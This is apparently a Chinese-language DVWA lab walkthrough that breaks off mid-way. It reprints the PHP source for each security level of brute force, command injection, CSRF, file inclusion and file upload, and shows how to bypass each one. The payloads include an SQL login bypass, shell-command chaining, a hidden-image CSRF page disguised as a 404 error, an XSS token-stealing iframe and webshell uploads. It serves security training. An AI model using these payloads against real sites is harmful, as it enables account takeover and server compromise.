进行尝试:
函数执行

数据库的数据类型

mysql中主要类型:文本、数字、日期
数据类型

注意事项

  • sql对大小写不敏感。
  • 分号是在数据系统中分隔每条sql语句的标准方法,这样就可以在对服务器的相同请求中执行一条以上的语句。
  • 条件值周围使用的是单引号。sql使用单引号来环绕文本值(也接受双引号)。如果是数值,不要使用引号。
DVWA靶场通关

DVWA靶场通关

DVWA靶场简介

DVWA(Damn Vulnerable Web Application)和pikachu一样是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。它一共包含了十个模块:brute force(暴力破解)、command inject(命令行注入)、CSRF(跨站请求伪造)、File inclusion(文件包含)、file Upload(文件上传)、insecure Captcha(不安全的验证码)、SQL Inject(sql注入)、XSS(跨站脚本攻击)。包含了OWASP TOP 10所有攻击漏洞练习环境,供大家学习。
DVWA还可以手动调整安全级别(low、medium、high、impossible)级别越高防护越严格,渗透难度越大。

DVWA安装

和pikachu靶场一样将DWAV的源码解压到phpstudy的www目录下,修改配置文件,启动phpstudy然后在浏览器访问网站进行安装
安装流程
安装完成我们就可以进行测试学习了,如果英文不是很强可以借助浏览器翻译来进行学习
如果安装完成不用登录就可以访问内容我们可以这样操作
加登录

DVWA – 暴力破解(Brute Force)

暴力破解:指的是用字典通过穷举法猜测用户口令:
low难度下的暴力破解:
靶场显示
源码解析:
文件位置

<?php
//检查变量是否设置,查看有无Login参数
if( isset( $_GET[ 'Login' ] ) ) {
// 获取用户名
$user = $_GET[ 'username' ];

// 获取密码
$pass = $_GET[ 'password' ];
// 将密码使用md5加密
$pass = md5( $pass );

// 构造sql语句,这里并没有做处理 可以直接用万能密码手工注入进行登录
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//查询的sql语句并把结果保存在result中 查到了,保存用户具体信息 未查到,就在页面上输入错误结果,result为空
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//结果存在且数量为1说明查到了
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 获取关联数据row row是键值对
$row = mysqli_fetch_assoc( $result );
//获取登录成功的图片
$avatar = $row["avatar"];

// 登录成功,输出到页面
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// 未查到登录失败,输出错误信息到页面
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
//释放资源
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

经过源码分析我们发现后台直接将输入的用户名拼接到sql中查询,也没有对密码和用户名进行校验,我们可以构造恶意语句admin' or '1'='1让后边条件为永真将数据库用户存入变量,使变量中有值,从而登录成功
万能密码
可以使用burp进行暴破,操作如下:
low暴破

medium难度下的暴力破解
源码解析:
文件位置

<?php
//检测是否存在在Login变量
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input 获取用户名存入user
$user = $_GET[ 'username' ];
//user中x00,n,r,,’,”,x1a转义,防SQL注入
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 获取到密码 并转义 防sql注入
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//密码md5加密
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );//失败后会延时两秒
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

中等难度他的源码对于登录这方面没有做太多改动,因此他的暴破过程和low难度过程基本一样,只不过对一些字符使用mysql_real_escape_string这个函数进行了转义,有效防止了通过万能密钥注入的方式登录
操作和low一样
medium难度暴力破解
防止万能密钥的登陆admin' or '1' = '1输入用户名为这个,再随便输密码显示登录失败
万能密钥

high难度下的暴力破解
源码解析
文件位置

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以明显的看出添加了token检验机制来增加暴破的难度,token在计算机身份认证中是令牌(临时)的意思,在词法分析中是标记的意思。一般作为邀请、登录系统使用。针对带token验证的防暴破机制我们可以使用burp来绕过。
演示:
带有token如何暴破

impossible难度
源码解析:

<?php
//这里使用post获取参数
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// 怎加token检验
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 过滤用户名
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 过滤密码并且md5加密密码
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// 失败登录三次锁定时间
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// 验证用户名
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

//检测账户是否被锁定 尝试大于三次锁定账户
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// 计算用户是否能重新登录
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// 检测所动账户时间是否够了并解锁账户
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// 检测用户名和密码与数据库是否匹配
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// 如果登录有效
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// 获取用户登录测试,头像和最近登录
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// 输出登录信息
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";

// 自上次登录后账户是否已被锁定
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// 重置登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// 登录失败随机延时并且输出返回信息
sleep( rand( 2, 4 ) );

// 页面展示
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// 跟新登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// 设置最后登录时间到数据库
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// 重新获取token到session
generateSessionToken();

?>

这个难度是最高的,基本不可能暴破,其中gat方式获取参数转变为post获取,加上了token校验机制,限制了登录次数,登录超过三次会被锁定等待15分钟,通过这几种方式有效的防止了暴力破解。

DVWA – Command Injection(命令注入)

Command Injection(命令注入),就是指通过提交一些恶意构造的参数破环命令语句结构,从而达到恶意执行命令的目的。这里要和RCE漏洞进行区别,RCE漏洞是执行代码,而这里执行的是命令。
Command Injection主题:
命令注入

Low
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入
$target = $_REQUEST[ 'ip' ];

// 确定操作系统并执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

//返回结果到页面中
$html .= "<pre>{$cmd}</pre>";
}

?>

漏洞复现:
通过代码分析可知服务器仅根据不同的操作系统执行了不同的命令并没有对传入的参数进行过滤
命令拼接:

ping 127.0.0.1 & ipconfig    #先执行127.0.0.1,不管127.0.0.1是否执行成功都会执行ipconfig
ping 127.0.0.1 && ipconfig   #先执行127.0.0.1,127.0.0.1执行成功后才会执行ipconfig
ping 127.0.0.1 | ipconfig    #不管127.0.0.1执行是否成功都会执行ipconfig
ping 127.0.0 || ipconfig    #前面的命令要执行失败,才可以执行后面的命令

在这里我们直接使用第一个拼接,由于后台写了ping 所以我们只需要构造payload127.0.0.1 & ipconfig就好:
成功执行
可以看到成功回显出了我们拼接的ipconfig命令

medium
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入
$target = $_REQUEST[ 'ip' ];

// 设置命令黑名单其中有&&和;
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
//调用将&&和;替换为空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

漏洞复现:
相较于low来说添加了黑名单将&&和;做了限制进行了替换,换为空,但其他没限制仍然可以使用127.0.0.1 & ipconfig进行绕过执行
测试

high
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist 添加了黑名单数量
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

可以发现黑名单数量加多了,但仔细观察发现’| ‘管道符后边多了一个空格替换成空我们考虑使用管道符绕过127.0.0.1 |ipconfig

漏洞复现:
成功执行

impossible
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token加入token验证
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input 获取ip
$target = $_REQUEST[ 'ip' ];
//stripslashes函数会剥离字符串中的反斜杠,然后返回剥离完反斜杠的字符串
$target = stripslashes( $target );

// Split the IP into 4 octects 以.作为分隔符,分割$target
$octet = explode( ".", $target );

// Check IF each octet is an integer检测分割后的元素是否都是数字类型
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.如果都是数字类型的话,就将2他们再合并成$torget
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里是添加了白名单,白名单的作用是只允许什么通过。

DVWA靶场通关 – CSRF

csrf(跨站请求伪造),利用还未过期的用户信息诱骗用户点击链接修改用户信息
csrf主题:
csrf

Low
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input使用get方式获取两个密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?查看两次密码是否一样
if( $pass_new == $pass_conf ) {
// They do!一样的话直接插入数据库
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

get方式获取了两次输入的密码,一致的话直接将数据插入到数据库中
漏洞复现:
首先尝试修改密码
尝试登录
测试原来默认的密码登录失败,新设置的密码在url中可以看到
我们构造链接http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#在浏览器中访问发现密码就能被重新改回到password(诱骗用户点击)
执行
然后我们登录就可以使用password做密码登录了

medium
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
//stripos(str1,str2)检查str2在str1中出现的位置(不区分大小写)如果有//返回ture
//判断host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium级别的代码检查了保留变量http_referer(http包头的referer参数值,表示来源地址)中是否包含了server_name(http包头的host参数,即要访问的主机名,这里是192.168.23.128),希望通过这种机制抵御csrf攻击
漏洞复现:
抓包查看信息
可以看到数据包中有Referer但在url中没有,这里是urlhttp://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#可以进行查看参数中没有referer。意思是referer中只要出现server_name就可以正常操作
修改参数加入referer
可以看到在hackbr中修改参数密码为password然后添加头信心referer点击执行可以看到成功执行。
也可以自己搭建的恶意网站中是不存在这个的我们在链接中包含上服务器的地址就能绕过了,我们可以构造一个图片的src中包含服务器地址的文件,index.html

<img src="http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

然后存放到自己的网站然后发送链接http://192.168.23.128/192.168.23.128.html给用户一但点击攻击就完成了
成功执行

high
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token 加入了token检验机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

high级别的代码增加了token检验机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器提交token参数时服务器会在收到token时先检查token,token正确才会处理客户端请求。
漏洞复现:
这里可以利用存储型xss可执行代码获取token,其实是利用xss获取cooki中的token值,所以在这个地方我们使用xss执行。
现在存储型xss中写入语句<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>有长度限制我们F12改限制
存储型xss获取token
这里不要点击确定先复制,然后打开另一个网页打开csrf题输入修改的密码点击提交抓包,不放包发送到repeater中修改token的值点击go跟随查看响应可以看到密码修改了
操作
这种加token的方式由于是后台先把token发送到前端我们可以先获取到向应包中的token替换请求包中的token就能很容易绕过
impossible
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
//这里需要输入旧的密码进行校验
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

要求我们先输入就密码再修改,攻击者不知道原始密码的情况下是无法发起攻击的。
防护措施
加入Anti-CSRF,每次向客户端发送一个随机数,当客户端向服务器发送数据时对比随机数从而确定身份
获取当前用户密码,以此判断是否为当前用户操作
二次确认(提示、二次密码、验证码).

DVWA – file inclusion(文件包含)

文件包含漏洞(File Inclusion)是指当服务器开启了allow_url_include选项时,通过一些php特性函数如include()、require(),include_once(),require_once()函数利用url去动态包含文件,此时如果没有对文件来源进行严格的审查就会导致任意文件读取或者任意命令执行。
文件包含分类:

  • 本地文件包含:当被包含的文件再本地服务器时叫做本地文件包含,如:../../../ect/password
  • 远程文件包含:当被包含的文件在第三方服务器时,就叫做远程文件包含,如:http://www.xx.com/1.php

特性函数:

include()   当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
require() require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用
require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。
require_once() 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

File Inclusion主题:
首先需要设置打开文件包含
打开文件包含
靶场

Low
源码分析:

<?php
// The page we wish to display 直接获取page参数,未作任何修改
$file = $_GET[ 'page' ];
?>

漏洞复现:
漏洞复现

meidum
源码分析:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation将参数中的http://和https:// ../ ..\都替换成了空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

这里可以看到添加了黑名单将“http://” “https://” “../” “..\”全部替换成了空这个地方可以考虑双写绕过。
漏洞复现:
绕过尝试

high
源码分析:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation 这里限定匹配文件名以file开头或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

匹配“file*”,以file开头的文件可以访问,或者include.php可以访问,如果不满足以上两种就输出错误语句

漏洞复现:
使用伪协议:”file:///访问本地文件系统” 参考文章
成功包含
这里限制了白名单只允许某些文件被包含

impossible
源码分析:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
//file变量只能为include.php、file1、file2、file3其中一个
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

这里使用了白名单机制进行防护,简单粗暴,page的参数已经固定了完全杜绝了文件包含

DVWA – File upload(文件上传)

这个漏洞由于对上传文件的内、类型没有做严格的过滤、检查,使得攻击者可以通过上传木马文件获取服务器的webshell文件。

需要配置文件上传:
打开这两个选项

File upload主题:
文件上传

Low
源码分析:


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
//文件的目标路径即文件上传路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?移动用户上传文件到目标路径
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

从源码可以看到对上传文件类型、内容没有做任何的过滤和检查,同时告诉了我们文件上传路径,存在明显的文件上传漏洞
漏洞复现:
文件上传复现
在上传的过程中我们使用了webshell管理工具godzilla来生成一句话和连接获取shell

medium
源码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
//文件类型必须是image/png或image/jpeg 大小不能超过98Kb
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

可以分析出对文件上传的类型做了限制,要求必须是image/jpeg或者image/png类型,而且对文件上传大小做了限制。
漏洞复现:
复现中级文件上传漏洞首先需要删除上传的php一句话
删除刚刚上传的
还是上传刚才生成的一句话木马
上传
提示只能上传的文件类型,这里抓包绕过
抓包绕过
然后用哥斯拉连接就好了

high
源码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?strtolower函数把字符转换成小写getimagesize函数会读取文件头信息如果没有则报错,high级别的代码读取文件名最后一个点后的字符串期望通过文件名来限制文件类型
